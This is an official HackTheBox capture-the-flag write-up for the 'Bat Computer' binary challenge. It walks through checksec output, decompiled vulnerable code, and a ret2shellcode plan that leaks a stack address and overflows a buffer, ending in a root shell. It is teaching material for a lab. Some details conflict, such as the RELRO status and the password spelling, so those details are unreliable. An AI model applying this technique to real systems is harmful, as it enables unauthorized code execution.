



HACKTHEBOX



Bat Computer

15th April 2022 / Document No.
D22.102.232

Prepared By: w3th4nds

Challenge Author(s): w3th4nds

Difficulty: Easy

Classification: Official

Synopsis

Bat Computer is a very easy difficulty challenge that features the **ret2shellcode** technique.

Skills Learned

- ret2shellcode

Enumeration

First of all, we start with `checksec`:

```
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX disabled
PIE:       PIE enabled
RWX:       Has RWX segments
```

Protections

Protection	Enabled	Usage
Canary	✗	Prevents Buffer Overflows

Protection	Enabled	Usage
NX	✗	Disables code execution on stack
PIE	✓	Randomizes the base address of the binary
RelRO	Full	Makes some binary sections read-only

As we can see:

- **PIE enabled**
- **Full RELRO**

NX is disabled and there is **no canary**.

That means there might be a possible *buffer overflow* and *code execution*. Looking at the decompilation in Ghidra, we see the following:

Disassembly

Starting from `entry`'s first argument:

```
undefined8 FUN_001011ec(void)
{
    int iVar1;
    int local_68;
    char acStack100 [16];
    undefined auStack84 [76];

    FUN_001011a9();
    while( true ) {
        while( true ) {
            memset(acStack100,0,0x10);
            printf(
                "Welcome to your BatComputer, Batman. What would you like to do?
\n1. Track Joker\n2.Chase Joker\n> "
            );
            __isoc99_scanf(&DAT_00102069,&local_68);
            if (local_68 != 1) break;
            printf("It was very hard, but Alfred managed to locate him:
%p\n",auStack84);
        }
        if (local_68 != 2) break;
        printf("Ok. Let\'s do this. Enter the password: ");
        __isoc99_scanf(&DAT_001020d0,acStack100);
        iVar1 = strcmp(acStack100,"b4tp@$w0rd!");
        if (iVar1 != 0) {
            puts("The password is wrong.\nI can\'t give you access to the
BatMobile!");
            /* WARNING: Subroutine does not return */
            exit(0);
        }
        printf("Access Granted. \nEnter the navigation commands: ");
        read(0,auStack84,0x89);
        puts("Roger that!");
    }
}
```

```

}
puts("Too bad, now who\'s gonna save Gotham? Alfred?");
return 0;
}

```

The function reads user options and performs actions based on that. Option 1 leaks the address for `auStack84`, which is a buffer. Option 2 reads a password and then compares it with `b4tp@$$w0rd!`. If the password is correct, it reads `0x89` bytes of input into an `auStack84` which is an 80-byte buffer hence overflowing it. Option 3 lets us exit the loop and return, leading to code execution.

Solution

Our path of exploitation is to:

- Send "1" to leak the buffer's address.
- Send "2" and enter the password `b4tp@$$w0rd!`
- Fill the buffer with NOP SLIDES (`\x90`). Then our `shellcode` and lastly the address of our leaked buffer to execute our payload.



```

[+] Opening connection to 127.0.0.1 on port 1337: Done
[+] Leaked buffer address: hex(leak)
[*] Switching to interactive mode
Too bad, now who's gonna save Gotham? Alfred?
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat flag.txt
HTB{f4k3_fl4g_4_t35t1ng}

```